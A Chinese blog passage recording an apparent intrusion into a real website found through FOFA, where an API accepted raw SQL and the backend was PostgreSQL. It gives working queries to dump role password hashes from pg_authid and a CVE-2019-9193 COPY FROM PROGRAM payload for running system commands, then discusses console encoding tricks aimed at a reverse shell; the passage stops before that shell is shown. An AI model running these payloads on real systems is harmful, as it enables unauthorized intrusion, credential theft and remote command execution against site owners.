记一次pgsql数据库漏洞利用

0x01 前言

mysql遇得比较多，postgresql还是第一次遇到，过程算是一波三折，但好歹算是积累到了一些经验，主要记录下利用的payload以及bat无回显执行命令最后成功反弹shell到vps

0x02 注入点

从fofa上扫到的站，账号密码直接写在了登录框里，点击登录进入后台

找功能点，抓包，好家伙，直接把sql语句写在api的post参数里面了，心是真的大

看了下网站架构，vue+java，猜测数据库很有可能是mysql，那就试试能不能直接运行sql语句

select * from information_schema.SCHEMATA

成功执行，而且仔细看获取到的数据库字段，可以明显看到postgres字样，猜测是postgresql数据库，果然，用mysql的concat函数，api报错了。

知道是pgsql数据库就好办了，因为没记错的话pgsql ≥ 9.3版本是存在一大堆Critical漏洞的，但我们不急，先一步一步来。

获取pgsql安装目录（判断pqsql版本、系统版本）

select setting from pg_settings where name = 'data_directory';

获取当前用户

select user

查询用户密码（md5加密）

SELECT rolname,rolpassword FROM pg_authid;

系统命令执行（CVE-2019-9193）

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;

0x03 一波三折

现在可以直接执行命令了，不就可以直接写shell，连shell一条龙了吗？然而事实上并非如此简单，因为不知道是不是dos编码的原因，执行的命令如果回显含有中文会导致pgsql报错进而导致无法把执行结果保存进数据库。比如我这里执行certutil，报错结果如下：

执行dir c:\也会报错

比较奇怪的是，执行systeminfo命令却又可以成功执行并且执行结果中的中文也能正常显示。从系统信息中看到该服务器是中文系统，可是有的命令执行结果是英文，有的执行后又是中文，属实是整不会了。

因为知道dos默认编码是gbk，于是我先用chcp 65001命令将dos编码改为utf-8编码，然后执行回显有中文的其他命令。结果失败了。

后来我在自己电脑上测试的时候突然醒悟，chcp命令只能改变当前终端进程的编码，关掉再新开一个cmd窗口编码仍然是默认的936 gbk编码，同理，虽然我通过chcp命令改变了编码，但是再重新执行其他命令的时候pgsql也会新建一个子进程，而这个子进程仍然是gbk编码。所以正确的打开方式应该是在需要执行的命令前加一句chcp 65001，比如chcp 65001 & certutil，一想到这里自觉真是聪明，然而现实分分钟打脸：